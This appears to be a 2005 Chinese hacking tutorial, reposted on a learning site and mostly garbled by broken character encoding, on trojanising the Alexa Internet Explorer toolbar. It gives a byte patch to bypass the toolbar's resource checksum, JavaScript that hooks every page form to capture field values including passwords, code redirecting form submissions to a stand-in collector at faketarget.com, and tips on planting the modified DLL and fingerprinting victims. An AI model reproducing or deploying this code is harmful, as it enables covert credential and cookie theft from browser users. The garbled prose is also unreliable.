T086ѧϰ�� | վ��ѧԺ | �����ĵ� | ���� | Ъ���� | IP��ַ��ѯ | �������� | ���ջ��� | �����ֵ� | ���ù��� | ������Ϣ��ѯ

��Alexa��������װ��ľ��

�� ��Դ��20CN���簲ȫС�����ߣ��IJ��� ����ʱ�䣺2005-01-15 | ���壺�� �� С��
[����]Alexa��һ������ȫ����վ������Ϣ����վ��������ַ��http://www.alexa.com��Alexaͨ���ڿͻ��˰�װAlexa���������ռ�����ȫ����վ�ķ������ݣ�����Щ����Ϊ���ݶ�ȫ����վ���������������ڵ��������ʵ�ͳ�ơ�Alexa��...

    Alexa��һ������ȫ����վ������Ϣ����վ��������ַ��http://www.alexa.com��Alexaͨ���ڿͻ��˰�װAlexa���������ռ�����ȫ����վ�ķ������ݣ�����Щ����Ϊ���ݶ�ȫ����վ���������������ڵ��������ʵ�ͳ�ơ�Alexa��������һ��������Google��������IE������������������URL������:http://download.alexa.com/index.cgi��

һ��Alexa�������Ĺ���ԭ��

����Alexa��������һ�ֻ���BHO��Toolbar Bands������һ��IE����������DLL�ļ�����ʽ������ϵͳ�У���һ��COM������IE��������ʱ�������ص�����������ȥ������һ�������·���ǽ���޷���ֹ���������������ģ�����Ϊ����ľ����ɫ�ṩ�������ı��������ұȱ���Sniff�����ռ������������ǣ�������HTTP����HTTPS����վ������ͨ��ͨ���Ƿ����ܣ�ֻҪ��IEҳ���ı��������ռ���������ԭ�����Բο�������Alexa�������׵�һЩ������

����ϵͳ�ڰ�װ��Alexa�������󣬻���ϵͳĿ¼������AlxTB1.dll��AlxRes.dll����DLL�ļ�(��Щ��������AlxTB2.dll��������AlxTB1.dll��������ΪAlexa���������Զ��������µ�ԭ��)��Alexa����������Ҫ�����ƴ���������AlxTB1.dll�ļ��У������ļ�ͬʱҲ��ע���ɶ���COM��������������BHO��Toolbar Bands��COM�ӿڣ�����IE��WebBrowser�ؼ���װΪһ��COM������AlxRes.dll���á�AlxRes.dll�ļ������������Ķ����ƴ��룬�����Ĵ�����HTML��javascript���룬��������Դ����ʽ������AlxRes.dll�ļ��У�������ͨ��res://AlxRes.dll/CHTML/about.html������URL��������Щ��Դ��Ҳ���������֣��ֲ�������վ��Ϊʲô�����Ĵ�������javascriptд�ģ�������Alexa�����������ĵط���Alexa������������������HTML+javascriptʵ�ֵġ���Щjavascript����ͨ������AlxTB1.dllʵ�ֵ�COM�ӿ���ʵ��������ȫ�����ܡ���������������������Ч�ʵ��£����Ҳ�����������Դй©��������һ��VERY����SB�Ŀ���ģʽ������ȴΪ�����޸�Alexa�������Ĺ����ṩ�˷��㡪����������ҪCRACKER֪ʶ��ֻҪһ��PE��Դ�޸Ĺ��߾Ϳ��Զ�Alexa�������Ĵ��������޸��ˡ�

�����ƽ�Alexa������

������Ȼ��AlexaҲ������ɵ�����Բ����������Լ��Ĵ��뱻������Դ�޸Ĺ��������ġ�Ϊ�˷�ֹAlxRes.dll�е���Դ�������޸ģ�����ȡ�˼����ļ�У���͵ı���������Ҫ�Ƿ����ļ����޸ģ��ͻ��ܾ����ء��������޸Ĵ���ǰ�������ƽ����ֱ������ơ�

����AlxTB1.dll����һ������ChecksumResources�ĺ��������������������������ļ�У���͵ġ���c32asm������AlxRes.dll�ļ����鿴�ַ��������б����ҵ�"ChecksumResources"�ַ�������ת�����ø��ַ����Ĵ��룬��100017C0�������·����У���100017F6���ҵ�һ����ת�����ñ��Ʒ�ʽ����NOPָ���JNZָ��ɡ�ͨ�׵㽲�����ǽ�AlxRes.dll�ļ�ƫ��"0x17F6"���������ֽ�"75 11"�ij�"90 90"��������ʹ��WinHex֮����16���Ʊ༭�������޸ġ�

::100017C0:: 68 9C700010 PUSH 1000709C :BYJMP JmpBy:100017A4,100017B1, ->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE :JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI :BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 :JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 :JMPDOWN ;�����޸�����

�����������ǿ��Ժ��޹˼ɵ��޸�AlxRes.dll�е���Դ�ˡ����Բο����°汾�� Alexa Toolbar �ƽⷽ����(http://www.donews.net/tabris17/archive/2004/10/18/137121.aspx)

�����޸�Alexa�������Ĵ���

������ϤIE���̵��˶�֪����DWebBrowserEvents2�ӿ�����������WebBrowser���¼�֪ͨ�ģ����ǿ�����AlxRes.dll��javascript�������ҵ���ЩЩ��Ӧ�ĺ�������res://AlxRes.dll/SCRIPT/EVT.CLASS.JS�Ĵ����У���һϵ�е�javascript��������Ӧ��DWebBrowserEvents2�ӿڵij�Ա���磺DocumentComplete->BP_onDocumentComplete��NavigateComplete2->BP_onNavigateComplete��BeforeNavigate2->BP_onBeforeNavigate������DWebBrowserEvents2�ӿڣ����ǿ�����BeforeNavigate2�нػ�PostData��������AlxRes.dll�Ĵ����У������ӿ�û����ȫʵ�֡���DWebBrowserEvents2�ӿ��е�ԭ���ǣ�

void BeforeNavigate2(IDispatch *pDisp,
VARIANT *&url,
VARIANT *&Flags,
VARIANT *&TargetFrameName,
VARIANT *&PostData,
VARIANT *&Headers,
VARIANT_BOOL *&Cancel
);

���������е�PostData�����˵�Post���ݡ���BP_onBeforeNavigate�ĺ���ԭ�ͣ�

function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);

��������,bPostDataֻ�Ǹ�BOOL���͵ı�������·��ͨ�����������취��

����һ����˵��������IE���������û������붼��ͨ�������ύ���������ģ��������ڱ����ύǰ�ػ����������ݾͿ���ʵ����ȡ�����ˡ���javascript�У�ֻҪ����������"OnSubmit"�¼����Ϳ��������ύ���������������ݡ���AlxRes.dll�Ĺ���Ҳ����javascriptʵ�ֵģ��������Ǿ��������Է�����COM�ӿڣ���ֱ��ʹ��javascript�ˡ�

�����������Ƽ�ʹ��Resource Hacker���޸�AlexRes.dll�е���Դ�����˸о���eXeScope������ˬ���ˡ�

�ġ��ػ���ҳ����������

����������ʹ�õķ�����Щ������"��վ���ű�ִ��©��"����������"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"�е�"BP_onDocumentComplete"������

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);

�����ú�����IE�ĵ�ǰ����ҳ�汻��������ʱ�����ã����е� oWebBrowser2 �������Ե�����ǰIE����������ҳ����window�����������㶮��javascript�Ļ���������Ҫ����������ʮ�ּ����ˡ��������´��룺

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].onsubmit=test;
}
}catch(e){}
return false;
}

�������δ��������þ���ö�ٵ�ǰҳ�������еı������󣬲�Ϊ��Щ��������OnSubmit�¼�����������������test�����ˣ�

function test()
{
try{
window.alert("I can get the value!");
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
window.alert(this.elements[i].name+":"+this.elements[i].value);
//do some thing
}
}
}catch(e){}
return true;
}

�������������ַ�������һ���׶ˣ���������ͨ��javascript����"Submit()"�ύʱ����������"OnSubmit"�¼��������Ĵ���Ҳ���޷���¼�±����������ˡ����Բ��øı������ύ��ַ�ķ����������������⣺

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value='"+oWebBrowser2.document.forms[i].action+"'>";
oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}

�������ϵĴ�������ijЩҳ���������⣬��ʱ���޷��������ֶ����ӵ�������ȥ��

�塢ɢ����ֲ��ľ��

�������ϴ���������PE��Դ�����޸�AlxRes.dll�ļ�ʵ�ֵġ����ԣ�ֻҪ���µ�AlxRes.dll�ļ���ԭ��ϵͳ��AlxRes.dll�滻����Alexa�������ڼ��ص�ʱ����������"C:Program FilesInternet Explorer"��"C:Documents and Settings[username]����"������·��������AlxRes.dll������Ҳ���԰��޸Ĺ���AlxRes.dll�ŵ�������·���£������Ͳ��ø���Դ�ļ��ˡ�������ô��װ���ǿ�����һ���ѵ�IE©��������ȥExploit�أ����ɲ��DZ����漰�ķ�Χ��

������װ��Alexa��������IE��"User-Agent"������"Alexa Toolbar"�ı��ǣ����Ժ���������Ŀ����IE�Ƿ��Ѿ���װ��Alexa��������

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

����Ҳ�����޸�Alexa�İ�װ�ļ���������Alexa�����������������������ͳ�Զ�ˡ�

�����ռ�����

������������FileSystemObject�ؼ������������ݼ�¼���ļ�������ֱ����Ϊ�������͵�ij��Web����������web�������ռ���¼�������ɡ�Ϊ���ڿͻ��˹���һЩ�����������ı�����������AlxRes.dll�Ĵ����ж��ռ��ı������ݽ���һЩ���飺

function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements[i].name!="")
{
if(this.elements[i].type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
}
}
if(IsPwdForm)
{
//�������������ı��������ռ�
}
}catch(e){}
return true;
}


�ߡ�������Ӧ��

�������������������е�½��������ActiveX�ؼ�ʵ�ֵģ��޷��ػ��������ݣ��������ǿ���ͨ��"oWebBrowser2"���������ݡ��޸�������ҳ�棬��ȻҲ����α��һ���������еĵ�½���档�����������ռ��û�������ҳ�ļ�¼��Ҳ����������ȡ�û�COOKIE�ȡ�

===============================================
���İ�Ȩ��20CN���簲ȫС�鼰����������,����ת��,�뱣�����������Բ�ע������

  • ת����ע����Դ��ITѧϰ�� ��ַ��http://www.t086.com/ �����������Ƽ�������
  • �ر������� ��վ�������ر�������ֹת�ص�ר�������������¿�������ת�أ���������ע��������ԭʼ���ߡ����°�Ȩ������ԭʼ�������С����ڱ���վת�����µĸ��˺���վ�����DZ�ʾ������л�⡣������վת�ص������а�Ȩ��������ϵ���ǣ����ǻᾡ�����Ը�����
������ѯ Health Check Gulangyu
© 2017 T086ѧϰ�� - T086.com(ԭitlearner.com)
RunTime:8.49ms QueryTime:7